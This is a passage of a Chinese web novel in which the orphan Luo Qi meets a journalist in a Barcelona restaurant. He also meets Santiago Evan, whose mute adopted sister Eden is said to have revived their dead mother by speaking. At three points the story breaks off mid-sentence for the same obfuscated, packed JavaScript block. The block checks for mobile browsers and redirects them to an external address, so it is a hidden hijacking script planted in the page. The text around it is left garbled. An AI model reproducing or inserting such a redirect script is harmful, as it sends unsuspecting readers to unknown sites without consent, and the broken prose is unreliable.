“你知道,这世界上就是有一些很不一样的人,他们眼中的世界,跟其他人是不一样的。也许你就是其中之一。”他摆摆手,笑了一下,“虽然我不是……但也许你能看到别人眼中看不到的东西。”Juan注视着他,变得郑重,“也许有些东西,只有你能看到,而且就该你看到。所以不用怀疑自己,去探索看看吧,看会发现什么,谁知道呢?” 不知怎么,Juan说话的某个瞬间,竟好像和印象中另一位老院长的面庞重合了。洛祈迟钝片刻,才如释重负地笑了,对他说“谢谢”。 也是在这节课上,洛祈见到了自来这里的,第一个华人面孔。 Juan叫他Xu,洛祈不知道是哪个Xu,也不知道全名是什么。尽管那个Xu在他和Juan交流的全程都没表过态,但他知道,那个Xu一直在观察他。 4. 许梦扬 “嗨。” 果不其然,最后一节课下课后——Xu找上了他。 “?”洛祈看着他,见他伸出右手,嘿嘿一笑自我介绍道,“许梦扬,新闻记者。” 洛祈有些疑惑地回握了下。许梦扬从背包里拿出一个文件袋和一个红色硬封、带有徽章的小本儿——他单手一翻,先是封面展示,然后中指和无名指从上插入内页打开。还真是他的新闻记者证。 X社,是国内一家相对小众的新闻报社,主攻奇闻轶事。但因其采写和报道的都是真人真事,且最终都能落于现实,因此近些年媒体影响力一直稳步在前。 见洛祈确认后,许梦扬笑吟吟地合上,重新放进包里,“怎么称呼?” 洛祈没兜圈子,直接报了姓名。 许梦扬若有所思点头,然后对他神秘一笑,“放学了,要不一起去吃个晚饭?” 虽然疑惑,但也好奇,洛祈没什么拒绝的理由,点头答应。 二人出了学校,许梦扬带着他,轻车熟路,问道,“吃中餐吧?” “可以。”洛祈回答。 路上,许梦扬道明来意,还是那个笑模样,“我就不跟你绕弯子了,其实我也在调查儿童消失案件。而且…”他转头打量洛祈,不掩好奇,“我对你刚刚说的那些发现…很感兴趣。” 半晌,洛祈才问,“你相信?我说的那些?” “Why not?”许梦扬一挑眉,靠近了压低声音,“我不仅相信,我还见过呢……” 见过……什么? 他也看见过那些异象? 洛祈一瞬间有些激动,长久以来他那些无法言明的情绪,竟也有人明白么? 然而下一秒,许梦扬仿佛窥见他的心声,摆手笑道:“不过我倒不是亲眼所见,准确来说,”他凑近了些,“我是见过跟你差不多,有类似经历的人。” “真的?”洛祈半信半疑。 “当然,”许梦扬狡黠一笑,“等下你就能见到了。” 他们走过十字路口,左转进入林荫道,天色将暗未暗,路灯已经开始点亮了。 再次出来,刚好是路的尽头,又一个路口。 转角就是一家店,双开木门嵌着玻璃,十分精致。上方两个汉字刚刚亮起——【笙歌】,门的旁边一个花体英文【Singer】斜斜吊起,看起来也是招牌。 店内也是中西合璧的样式,红木桌椅,暖黄灯光,几个墙角各放了一株挂着彩灯的圣诞树。店门附近辟出了一块吧台,透过向上开的窗棂连带着店外,则变成半个露天咖啡馆。正有人在喝咖啡。 再加上外壁粉刷成马卡龙蓝的色调,看着倒有点外冷内热的意思。 洛祈不由暗叹,很有格调的一家店。 许梦扬早已上前几步,先熟稔地跟坐在外面的一个男生打了招呼,“hola~(嗨)” 男生一头黑色卷发,戴黑框眼镜,脸型瘦削,下颌分明,虽然眼珠也是黑的,看着却是个实打实的外国人。 对方点头冲许梦扬笑了下,随后两人闲聊了几句,洛祈听出来说的是西语,想必二人已经熟识。 但随即,他却被另一番场景吸引了目光——男生背后店内的吧台边上,坐着一个戴红色毛线帽的小姑娘,帽子很大,软软地几乎笼罩了小家伙整个后脑,只露出几缕棕色头发。皮肤又冷又白,两只眼睛大而晶亮,却显得有些慵懒。 小姑娘手捧一个小花盆,正百无聊赖地摆弄着。 吸引洛祈的,正是那个小花盆中的东西。 一棵单株的,千叶草。 千叶草,又称千叶吊兰。是福利院婆婆非常喜欢的一种植株,叶片小巧圆润,藤萝繁密,院内经常见到。 作为藤本植物,单株的本就少见,更何况,她手里这一株颜色艳红,不像草,倒向是盛放的鲜花了。 洛祈不自觉想走近看看,不料小姑娘极其敏锐,立刻抬眼,那眼中一瞬而过的警惕,让洛祈停下脚步,不再往前。 察觉响动,许梦扬回过头,才像忽然想起什么,拉过洛祈,“差点忘了,来吧,介绍一下,这就是我要带你见的人。” 洛祈冲男生笑了笑,算打招呼。 许梦扬站在中间,伸出左手,“Santiago Evan,圣地亚哥·埃文。来自南美。”又伸出右手,用西语向对方介绍洛祈。 两人互道晚上好,徐徐握了下手。 “还没完,”许梦扬抬抬下巴,冲着窗棂边上的小姑娘,挥了挥手,对洛祈说,“那是Eden,埃文的妹妹,伊甸。” 小姑娘此时也望着他们,同样挥了挥手,只是脸上还是没什么表情。 “Hola~(嗨)”洛祈本能地打招呼,希望自己刚才没有吓到她。 但伊甸也只是眨了眨眼,什么都没说。 “别跟她说话,”许梦扬低声用中文说,“她不能说话。” 不能说话? “她…不会说话?”洛祈低声问。 许梦扬对埃文打个招呼,准备进屋吃饭,随后揽过洛祈的肩,附耳道:“不是不会,是不能。字面意思。” 二人一起进入店里。 收银柜台后是一个男孩,亚洲样貌。许梦扬冲他一点头,“来了,老位置。” 洛祈跟着坐进了卡座,许梦扬拿起菜单,递给洛祈,“看看,吃什么?这家店的家常菜做得特别赞。” 洛祈耸耸肩,放下疑惑,点了几样自己常吃的菜。许梦扬接回去,又点了两份饭后小甜品。 等菜期间,许梦扬观察了一会儿洛祈,见他真沉得住气,才问,“你是不是想知道,伊甸为什么不能说话?” “当然。”洛祈回答,“我很好奇,还有你介绍他们给我认识,又是为什么呢?” 然而许梦扬第一次没有直接回答,而是若有所思,似乎在斟酌什么。 洛祈也不急,他打量着这家店,看起来还有二层。 “告诉你无妨,”终于,许梦扬开口了,“他们两兄妹……都很神奇。” 洛祈倒了两杯茶,“神奇?” “埃文听见过一些诡异的声音。”许梦扬说着,侧过身,刚好能看见那兄妹俩,“至于他妹妹,伊甸……” 他转回来,看着洛祈,缓缓吐出一个词,“言灵。听说过吗?” 言灵者,言出必现。 洛祈不是没听说过,只是从未见过。 洛祈坐直了些身体,“你是说……伊甸?”透过许梦扬,洛祈看向仍在吧台坐着的小姑娘,“你怎么知道她是真的言灵者?” “起死回生。” 许梦扬神秘一笑,“她曾经靠这个,救活了他们已经病入膏肓、即将火葬的母亲。” 虽然惊讶,但洛祈是物灵师,自己也见过一些匪夷所思的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587055|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情,倒也不难接受。 唯一的困惑是他对言灵者不太了解,想了想,问道,“那也不至于完全不能说,也许说点无关紧要的也可以呢?” 许梦扬摇头,“不行。” 洛祈:? “按我们一般理解的言灵,应该是自己能说,但是怕祸从口出,所以选择不说,对吗?”许梦扬问道。 洛祈点头。 “但是据说她跟一般的言灵者还不一样。”许梦扬回头,“你看见她手里的花盆了吗?” 正好,问到洛祈挂心的东西上了。洛祈确认道,“我看那盆植株,形似千叶草,但我从未见过红色的。” “对,”许梦扬回答,“那就是千叶草,但不是一般的植物,据说是他们在南美洲的遗失部落里,一位萨满法师给的。” 许梦扬脸上的笑模样淡去,“那东西,与其说是千叶草,不如说是,禁言草。” “禁言?”洛祈有所领悟,“伊甸……其实是被控制了不能说话?” “具体的我就不清楚了,”许梦扬道,“只是埃文说,当时那萨满法师神神叨叨嘱咐,该她说话的时候,她自然会说。但是说一句,红色千叶草的叶片就会掉一片,等到叶片掉完,她的生命就会终结。” 这就是代价么?洛祈沉默了。 “小许来了呀!”一位中年阿姨笑眯眯地端着菜走来,来回看了二人一眼,“今天酿了酸梅酒,你们要能喝一点的话,等会儿拿过来给你们尝尝。” “好啊!”许梦扬又恢复如初,一边开朗介绍:“这是我语言学校的同学,洛祈。”一边接过话头,“那我们今天可得多吃点!” “行,那我给你们拿杯子。” 女人笑意盈盈地走了,洛祈打量她,感觉她所到之处,屋子都被烘暖了。 “你认识?”洛祈问。 “她就是这家中餐馆的老板娘,阮阮的妈妈,阮笙歌。” 许梦扬招呼洛祈动筷子,自己去盛了两碗米饭,回来分了洛祈一碗。 洛祈接过碗,“阮阮?” “就是刚刚我们进来时坐在柜台后面的男孩,记得么?” 洛祈点头。 “阮阮,算昵称吧,他叫阮庭榭。” 许梦扬接着说,“我之前来西班牙的时候就认识了,那时候我来玩儿,他来留学……哎?”他忽然惊奇道,“说起来,也是在语言学校认识的!” 洛祈也笑了,“那还真是很巧。” “是吧,”许梦扬点头,“其实待久了,会发现语言学校挺有意思的,能看见许多很不一样的人,每个人都有很特别的故事。” 扒了两口饭,又说,“其实这家店的由来,也不是秘密了。阮阮之前有很严重的抑郁症,后来治好了,但是需要调养,所以阮阿姨就跟他回到了这里,他留学的地方。开了一家民宿,还有这家餐馆。阮阮呢,就负责民宿日常的运营,还有对接国内国外的游客。他刚好学的西语,专业对口哈哈。” 洛祈着看他开朗张扬的样子,忽然问,“你是不是很爱交朋友的那种,叫什么,e人?” “那必须的,我纯e人!”许梦扬顿时乐了,指指自己,“社交牛逼症,我~” 洛祈彻底被逗笑了。 “难得看你笑开的样子,”许梦扬很认可地一点头,“这多好啊!不要搞得那么沉重,兵来将挡水来土掩,没多大的事儿。信我。” 5. 圣地亚哥·埃文 十一月的巴塞罗那,尽管是海滨城市,可太阳落山后的温度也已经有些冷了。 但架不住当地人就是喜欢坐在露天喝咖啡闲聊,因此『笙歌』店外的咖啡馆,一时倒比店内的人还要多。 与外头的热闹相比,店内就别有一番静谧了。 温和橘调的灯光调暗了一个度,空调暖风恰到好处,大厅里公放着一首轻柔的民谣,音量正好。卡座上三两友人结伴而坐,正休闲地吃饭聊天。 饭后甜品时间。 桌面上零散地摆着四只杯子,其中三个盛着刚酿的酸梅酒,还有一杯是热牛奶。 座位有所变换,洛祈和许梦扬从相对变成并排,卡座对面则换成了圣地亚哥·埃文。 妹妹伊甸自己坐到了旁边一臂之隔的卡座上,手里依旧捧着那个小盆栽,只是牛奶还没拿过去。 “埃文前两年刚研究生毕业,现在在海事领域从事数字工程师,是个技术控。”许梦扬的e人本色开始彰显。 “坦白说,介绍你俩认识,是个意外事件。”许梦扬英文开场,笑道,“但是呢,中国有个词叫‘缘分’,我想各国应该都有类似的词吧,机缘、巧合?” 他是对着埃文说的,对方略加思索,点头说了个词“la predestinación”。 “OK,bien.(很好)”许梦扬回头介绍道,“我跟埃文是在ICMC官方下设的交流论坛认识的。洛祈,你知道那个论坛吗?” 知道,自然是知道的。 作为由全球警方联合发布消息的专属组织——ICMC,国际消失儿童援助联盟,要保持各方信息的通畅与及时,自然需要搭建庞大的信息平台。 同时,ICMC从成立之初,也一直长期面向社会征集线索。 一开始,官网的【QA板块】只占版面的右下角,除了解释相关问题,基本是用来给大众提报线索的。 没想到一经开放,关注人数激增,几乎各国网友都会在上面提报,甚至相互交流。 为了筛选有效信息,避免刷屏,同时及时传达各种更新政策,官方不得不另辟出一个板块提供大众信息交流,逐渐就发展成后来的论坛。 这个论坛日活量惊人,很难不知道。 只不过,虽然也安置了网络管理,但毕竟只要实名谁都能来说上一嘴,在洛祈看来,实在是个鱼龙混杂、难以辨清真伪的地方,因此也只是偶尔去看一下。 当然,许梦扬也知道这一点。 但作为记者,他自有一套他的判断方法。 要判断一个人是不是真的知道内幕,还是只在口嗨——就看这个人愿不愿意,付出代价。 为此,他向成百上千个煞有介事的网友发出过见面邀请,而得到的回应大部分都是推拒。 退而求其次,他设计了一套询问细节的话术,结果,能接得住他10个问题的,几乎没几个。 从那之后,许梦扬就明白了:对代价有清晰的认知,且愿意去探求一个完全未知的真相的人,少之又少。 懂得这一点后,他反而更从容了。 也几乎能够瞬间分辨,谁在说谎。 圣地亚哥·埃文就是许梦扬遇见的,极少数愿意付出代价的人之一。 “今天邀请你来这里,其实我们的目标是一致的。都是为了同一件事而来。我的想法是,独行不如结伴。”许梦扬见洛祈点头,继续说道,“我们面对的是一个什么样的未知,现在还难以定论,但一个人的力量终归有限,如果能相互照应,分享见闻和信息,或许能更快触摸到真相。你觉得呢?” 因为自身特殊,洛祈向来是单打独斗的,只不过,这次他也觉得有些力不从心。 如今有人向他发出合作邀约,他思忖片刻,觉得未尝不可。便先问道:“结伴的话,你们需要我做什么吗?” “不急,”许梦扬看出洛祈有意向,也暗自松了口气,他能看出洛祈的真诚和身上那种神秘的气质,但如果对方不愿意,他也不想勉强,“在谈合作意愿之前,我们也要互相认识一下。” “这里坐着四个人,但实际上,加上你,目前我们一共有七个人。”许梦扬说。 洛祈本能地问了句:“现在都在巴塞罗纳?” “没错。除了我们几个,还有你刚见到的阮阮,和另一位瑞士的伙伴,索尔。” 洛祈在心里数了一下,还差一个。 但许梦扬没有继续说。 因为阮庭榭走了过来。 他轻拍了下许梦扬,笑笑,“抱歉抱歉,索尔今天实验室有些忙,等他回来了,我转达。” 洛祈这才发现,这个男孩眉眼弯弯,有点婴儿肥,看着很乖巧,很难想象到底是什么事,能让他重度抑郁。 “好吧。”许梦扬回头对洛祈说,“埃文和伊甸兄妹我们已经认识了,你还不认识。要不你们先互相认识一下?” 洛祈的故事其实要说,也很简单。 他的身世,经历,路上的见闻……只是在讲到物灵师的时候,多解释了几句。 或许是因为有个伊甸坐镇,在听到他的故事的时候,虽然大家面上都难掩好奇——但似乎接受起来并不难。 唯一被同时问到的,也就是:他是什么时候拥有了物灵师的能力。 洛祈沉思了一会儿,摇摇头,“其实我也不确定具体是什么时候。” 他想起小时候,被带进星罗福利院之前,似乎是没有这种能力的。除此之外,他还特别怕黑,怕暴风雨,怕电闪雷鸣。 但自从那个“姐姐”带他走了一遭,在院子里摸了摸他的脑袋之后,便好似仙人抚顶,他再也没怕过暴风雨之夜。 是在那个时候吗?说不清了。 洛祈只好耸耸肩,讪讪地笑了一下:“时间太久,我可能得想想。” “没关系。”阮庭榭说,“不急。” 随后他起身从柜台拿了一支棒棒糖,递给伊甸,声音很轻,问她:“是不是困了?” 伊甸确实快要睡着了。她接过糖果,冲阮庭榭笑了一下。 许梦扬对埃文低声道:“是不是到她睡觉时间了?那让她先睡吧。” 埃文点头,转身拍拍伊甸的肩膀,用一种明显是家乡话、谁也没听懂的拉丁语系方言柔声跟伊甸说了几句话。 小姑娘眨眨眼,比了个手势,然后放下小花盆,环抱着趴在胳膊上睡着了。 接下来的故事,就算是专门讲给洛祈的了。 “在拉丁美洲最西边,有个叫智利的国家。它的名字来源于印第安语,意为世界的边缘。” 哄睡妹妹,埃文坐回卡座,讲了一个惊骇而诡异的故事。 “我出生在智利首都-圣地亚哥旁边的一个小镇上。”他徐徐道来,“在拉丁美洲,各国的经济实力相差很大,巴西和阿根廷分庭抗礼,GDP ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587056|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎占全洲的2/3。而智利基本靠渔业作为支柱产业。因此,我父亲早年一直是个渔民……” 埃文的家族世代都是渔民,或者说,整个小镇的居民,都心照不宣。他们从不考虑别的选择,出海,捕鱼,收网,再出海。一年四季如此。 连镇上的学校,基本都只教捕鱼的知识,鲜少有通识教育。 人们都说大海是最懂人的,只要敬畏它,它就能保佑海边的人,丰盛平安。 然而到了埃文这一代,变数出现了。 他有一个青梅竹马,是个叫莉安的姑娘,比他小两岁,二人一起长大。埃文很喜欢这个姑娘,但不知为什么,莉安看上去总是郁郁寡欢。 十四岁那年的夏天,气候异常的热。 埃文生日前一个月,莉安忽然找到他,说想出海去看看。 埃文是水中好手了,当然欣喜地答应。在和镇上的长者确认出海条件都很适宜之后,他做了充足的准备,希望能让莉安在旅程中开心些。 他们在下午日头正盛时出发,没准备走多远,埃文盘算着,最多到复活节岛。 莉安坐在船头,显得心事重重。 不久,他们顺水进了洋流。 这洋流埃文从小到大遇见过无数次,他知道顺着洋流,不久便会被带回海岸。 然而这一次,他的经验,失灵了。 大约几百米,洋流就变得十分陌生,埃文警觉地观察四周,发现并没有按照往常的流向回去,反而越流越远离海岸。 不好。他拉起桅杆上的备用帆,准备往回驶。但无论做什么,都像是徒劳。 小小的船只一路远流,好像有自己的目的地。 远方的积雨云正在汇聚,埃文的后背沁出了汗。 忽然,莉安站了起来:“我听见了!” 她脸上的忧愁一扫而空,和埃文的焦急形成鲜明反差。 “什么?”埃文问她。 “我听见了。”但她只是重复,“有人……在呼唤我。” 终于,阳光被他们的小船甩在了身后,阴沉袭来。 暴风雨渐渐落下来,有什么从海上的雨雾中浮现出来,埃文仔细辨认,是座岛屿。 他很有些疑惑,这是到复活节岛了?可是从航程来说,应该没这么快啊。 忽然一道白光,随后雷声响动。轰的一声,劈中他们的桅杆,船帆迅速起火,又被浇灭,只好摇摇欲坠向旁边倒去。 埃文脱力地拉着帆绳,但根本挡不住那股倾覆的力量。 “莉安!”他大喊着,在船身翻过去之前,一把抓住了女孩的手腕。两个人一左一右,靠双臂悬挂在翻覆的船上。 船还在加速向前行进。 浪涛汹涌,埃文只有靠大喊才能让对方听见,“莉安,抓紧我!” 船身发出分裂的声音,埃文近乎绝望,可就在他看向女孩时,对方却很安然地冲他笑了一下,她没有喊,可是埃文听见了,听得清清楚楚。 莉安在对他说谢谢。 她说:“谢谢你,埃文。” 又说,“别担心,我会一直保佑你。” 一个巨浪打来,二人齐齐被水卷走,船身彻底四分五裂…… 等到再次醒来,埃文发现自己回到了岸边。 阳光依旧正盛,小船奇迹般泊在码头,和出发前一模一样。 唯独不同的是,四周只有他一个人。 6. 红色千叶草 “上帝有时很残酷,却也无限慷慨。” 停顿了很久,埃文才重新开口。 他抿了一口酸梅酒,然后看着杯子里的波纹归于平静。仿佛再次提到这件事,仍让他感到心有余悸。 但他说得没错。 那件事的发生彻底改变了他。 他是个海边长大的小孩,如果不是这件事,他这一辈子,恐怕就会按照父辈的一生,复制一般过下去。 可命运的齿轮在那一刻,朝着不同方向转了起来。 十四岁埃文的人生就此改变。 刚回来的前几天,他被一种巨大的茫然所裹挟,整日浑浑噩噩提心吊胆,几乎宿在海边。想不通为什么,也想不通到底发生了什么事。 混沌、茫然、自责、内疚、百思不得其解……种种情绪几乎压垮了他。 埃文的父母对此感到非常忧心。 但好在,他并没有一蹶不振下去。 逐渐地,他能从繁杂的情绪中,开始有意识地复盘当天发生的一切。 两周后,埃文做出了决定。 他找到当了一辈子渔民的父母,对他们说:我要上学。 他说的上学自然不是小镇上的那种——而是真正的读书学习。 刚开始父母并不能理解,埃文已经十四岁了,他这个年纪正是出海的好时候。就算上学又从哪开始呢?难道要跟五六岁的小孩子一起吗? 但埃文很坚决,一定要出去读书。 尽管当天的情况有很多匪夷所思的地方,但是最终,埃文把最重要的原因归为——他还不够了解大海,不够了解自然。 埃文的父母不是什么强势的人,拗不过,只好准备行囊,过了几天,带着埃文北上去往首都圣地亚哥。 而就在他们离开的第三天,这个沿海小镇爆发了一场史无前例的大型登革热。 混杂着伤寒杆菌引发的传染性伤寒,迅速席卷了整个小镇,无人幸免。 这场堪比瘟疫的劫难持续一周,场面触目惊心,成了所有人的噩梦。 埃文的父母收到消息的那天,刚好是埃文14周岁生日。 他们后知后觉地发现,恰恰是因为埃文的坚持,才让他们全家逃过一劫。 因此,尽管对小镇的遭遇感到愕然,但那种劫后余生的幸存感还是让他们由衷地感谢上帝,并认为埃文是个有大福分的孩子,一定有神在保佑他们。 可埃文那天彻夜难眠。一闭上眼,想的全都是莉安对他说的最后一句话:我会一直保佑你。 是这样吗?还是巧合? 他不知道。 他们在圣地亚哥的城郊暂居下来。 落脚点是一处不大的修道院。埃文的父母经此一役,决定要终身虔诚地敬奉主神——于是决定留在修道院,谋一份事做。 埃文的父亲很勤恳,做了修道院低阶的神甫。 母亲的厨艺还不错,则留在修道院给唱诗班的孩子们做饭。 而埃文就跟着修道院的孩子们,去附近的神学院上课,从零开始学习各种通识教育。他头脑机灵,学得很快,很快就得到了老师的重视,推荐他把握机会,去参加中学的招生考试。 就这样,埃文用两年的时间恶补功课,取得了公立高中的入学机会。 再后来的两年,埃文对知识愈发如饥似渴,成绩亮眼,十八岁那年,被推荐进南美数一数二的巴西圣保罗大学,攻读计算机。 然而他没有忘记自己一直以来的目标,在校期间辅修了海运与船舶的双学位。毕业后,经由教授推荐,去到英国格林威治海事学院,进行科研深造。 “也是在那里,我成为了一名工程师,主攻全球海运信息平台的数字化建构。” 埃文说得很平淡,但洛祈却从平淡的描述中,感受到了惊人的毅力。 “你想……找到她吗?”洛祈问。 “我不知道。”埃文如实回答,“但我想知道,到底发生了什么。” 一个人能为目标付出多大的代价?洛祈不知道,但很难不心生敬佩。 埃文的故事告一段落,听起来很完整。洛祈却总觉得……好像哪里缺了点什么。 “怎么了?”许梦扬似乎察觉了洛祈的沉默。 “没……”洛祈摇头。 “你是不是在想,埃文的故事里,好像缺了一个人。一个很重要的人。” 顺着许梦扬的目光,洛祈看向一边,忽然反应过来。 对啊,伊甸呢? 这样特殊的一个孩子,难免好奇,洛祈问:“所以你妹妹伊甸,也是跟你们一起从小镇走出来的吗?” 埃文转头,看向正在熟睡的妹妹。 半晌,他才缓缓道:“不,伊甸她,来自南美洲的遗失部落。” 遗失部落?洛祈顿时有些恍惚,以为自己听错了,那这就意味着…… “所以呃,”他有点难言,“你们不是……” “对,”埃文接道,“我们不是亲生兄妹。” 难怪了。 其实坦白讲,埃文跟伊甸长得确实一点都不像。 埃文是黑色卷发,黑色瞳仁,小麦色皮肤。而且应该是天生的肤色。而伊甸,棕发棕瞳,长着一张又冷又苍白的脸,下颌边缘甚至能看见毛细血管。 洛祈从第一眼见到这俩人,就没想到他们会有亲缘关系。 “我十六岁那年,父母在庄园外捡到了她。” 埃文考上公立高中的那年,家里的境况已经有所好转。修道院的老神父看他们夫妻俩勤劳诚恳,就把自家旁边一个常年闲置的院子,转给他们居住。 他的父母便把那里改造成了一个小花园,亲自耕种、除草,清杂,眼见着荒芜的小院逐渐繁茂,夫妻俩更加感恩,于是每个周末,两人都要去城中心的教堂做礼拜。顺便看看在学校寄宿的儿子。 那年万圣节的前一周,他们傍晚从城中回来,晚霞还挂在天边。 远远的,他们看见一个穿着深色长袍,手持木杖的长发男人,在庄园的门口,正准备弯下腰。而他面前的地上,显然搁置着什么。 夫妻俩喊了一声,跑了过去。 那人已经拾了起来。 竟然是个婴儿。 那人看着他们,又看看小孩,狐疑地问道,“这是……你们的小孩?” 夫妻俩一时语塞。他们看着那个婴儿,整个额头似乎被抹了姜黄粉,眉心一抹红向上,像跳跃的火焰。她安然睡着,是个顶可爱的孩子。 再看眼前这个人,深蓝色长袍打着许多补丁,补丁上大多是蛇、四足蛇、蛙的图案。头戴一顶吊穗尖帽,旧腰带旁别着一个看不出是什么的大面具。 埃文妈妈本能地并不想让这个人把孩子带走,含糊地想把她抱过来。因为她觉得,如果是上天让这个孩子出现在她家门口,那她就是天赐的礼物。 没想到这个男人并未强行扣留,还让她把孩子抱了过去。 只是摇摇头,用很低的声音说:“不是你们的孩子。你们接不住她。” 他又看了一眼小孩的额头,转身走了,背过身去之前,他留下一句话,“好好对待她吧。她也许会救你们的命。” 埃文是放寒假的时候,才得知这孩子的存在。 母亲已经给她取名为伊甸。 她说,这座小花园就是她和父亲俩亲手打造的伊甸园。而这个孩子好巧不巧就出现在庄园门口,没有比这更合适的名字了。 还不到会说话的时候,他看着母亲怀里那孩子的两只大眼睛,总觉得有些荒唐。于是再三确认,当时那个“奇怪的人”到底说了什么,长什么样子。 后来根据母亲的描述,他在网络上能查到最接近的,也只是南美一些原始部落的服饰。而且有些原始部落已经不复存在,只留存了壁画图案。 这孩子到底什么来头? 也许是安全感作祟,埃文对这孩子总有些警惕,所以一直刻意保持着距离。 直到伊甸四岁的时候,发生了一件事,才彻底改变了埃文的态度。 彼时的埃文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587057|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十岁,正在巴西上大学。忽然有一天,父亲打来电话让他赶紧回家看看,他妈妈被毒蛇咬了,三天高烧不退,医院救不了,快不行了。 晴天霹雳。 他连夜坐火车回了家。看到的,是母亲气若游丝的病容,脸色发青形同枯槁。 她手臂上的伤口发黑,皮肤已经有大片溃烂。 埃文冲过去后发现母亲已经说不出话,眼睛似乎也看不见了,只是用手来回摸了摸他的脸颊。 医院已经宣判死刑,母亲躺在病床上痛苦不堪,似乎随时就会死去。 “嘀——” 一声长音让埃文几乎崩溃。 医生摇摇头,背过身询问埃文爸爸,是在这里火葬,还是露天火葬。最终父亲决定在他们的小花园火葬他的妻子。 次日,抬尸官和专业火葬团队,在获取批准之后,带着埃文的妈妈回到他们家。 庄园里已经布置好火葬台和一切。 那些曾经被她照拂过的修道院的孩子和父母都来参加这场悼念仪式,他们站在火葬台外侧。 而内侧站着的,则只有埃文、父亲,还有至今仍然不会说话的伊甸。 四周鲜花盛开,绿草成荫,母亲躺在花草中间,换上了一身洁白的衣裳。神父走上前,站在她的头顶前方,翻开《圣经》为她念了一段,祈福往生。 经念完了,专业的点火员拿着准备好的火把,走上前引燃了火葬台。 然而就在这时,伊甸忽然开口了。 她的声音很小,似乎只是呢喃。但是一出口,便好像被无形中的媒介放大一般——所有人都感到声若洪钟。 什么声音?众人开始窃窃私语。 她呢喃着不知道哪里的话,在场的宾客都没听懂。照理说埃文也是听不懂的,但奇迹般的,他领会了伊甸的话语。 她在说:停下来。火焰,停下来。 刚刚被迅速引燃的大火陡然一震,沿着边缘一寸寸熄灭,最终完全归于沉寂。而台面上焕然一新,一点没都有烧灼过的痕迹。 点火员愣住了。 所有人都愣住了。 点火员试探着上前,正准备再次引燃,结果这次整个火把都熄灭了。 没有人知道发生了什么。 在场所有人都是一副见鬼的样子。 但奇迹还没结束。 因为伊甸再次开始了呢喃。 还是没人听得懂的语言,但埃文依旧听得清清楚楚—— 她说:醒过来。妈妈醒过来。 于是下一秒,火葬台上的母亲,竟然真的,缓缓睁开了眼。她自己似乎也非常茫然,甚至动了动自己的头和脖子。 第一个发现埃文妈妈动了的宾客忽然尖叫起来,拉着她的孩子,“天啊天啊!”地跑走了。 然后前排的宾客都陆续发现异象,骚乱开始。 除了神父和家人,其他人都四散奔逃。 几家欢喜几家愁。 埃文和父亲大喜过望,冲向台边,确认母亲活过来后几乎喜极而泣。骚乱中,一时没有人注意到,伊甸身子一晃,轻咳着倒在了花丛中。 母亲被扶起来之后,埃文想叫伊甸过来,一转头却发现人找不到了。 人呢? 回头去找,等埃文找到她的时候,他发现伊甸几乎倒在血泊当中,周围的花草被大片的血染红,竟全部枯萎了。 这么小的一个孩子,怎么能吐那么多血? 埃文心疼地抱起伊甸,正准备奔赴医院。 却见小家伙悠悠转醒,冲他笑了一下。 为了保险起见,埃文和父母还是带她去医院检查了一番,在得到各项指标正常的结论之后才松了口气。 回家后,一切仿佛都恢复了常态。 只是有一点,被伊甸的鲜血染过的那片草丛,变成了光秃秃的土地。 一夜过去。 第二天,埃文惊奇地发现—— 那片干涸的土地上,生出了一支单株的、小小的红色千叶草。 7. 言灵附体 庄园女主人起死回生这事儿,不胫而走。 起初,没有人敢来造访这个庄园。 只有隔壁的老神父,跟他们保持着正常往来。 过了几天,曾经跟埃文一家接触的比较密切的几个孩子,偶尔会远远看着他们一家。埃文的妈妈打招呼,他们还犹豫着,要不要上前。 渐渐的,邻里们发现这家人好像是真的并无异常,还跟从前一样。街坊邻居,也就重新恢复了往来。 至于当天到底发生了什么,埃文都照实说了。 虽然匪夷所思,但母亲毫不犹豫地相信了埃文的转述,这下全家人都相信了,这孩子是天赐的礼物。 从那天起,尽管自己也搞不清楚怎么回事,但埃文还是把伊甸当亲妹妹一样爱护。埃文母亲更是去哪都要带着伊甸,给她买最好的东西。 参加过葬礼的宾客们逐渐回过味来,有人开始把当天的一切联系起来,加上自己的猜想得出了结论——应该是夫妻俩的小女儿,当时说了什么感动了上天,才让她妈妈起死回生。 虽然只是猜测,但这种消息街头巷尾,口口相传,最后就演变了无数版本。 连伊甸是救世主转生都传了出来。 埃文妈妈更是直接变成另一个圣母玛利亚,让埃文哭笑不得。 但不管怎样,伊甸逐渐成为了城中所有人眼里的吉祥物。 那年复活节前夕——拉美地区最隆重的圣周庆典,伊甸理所当然成了重点关照对象。 圣周(复活节的前一周),是整个拉美地区最重要的节日。 为了纪念耶稣受难与重生,在南美各国,都会准备非常隆重的庆典。 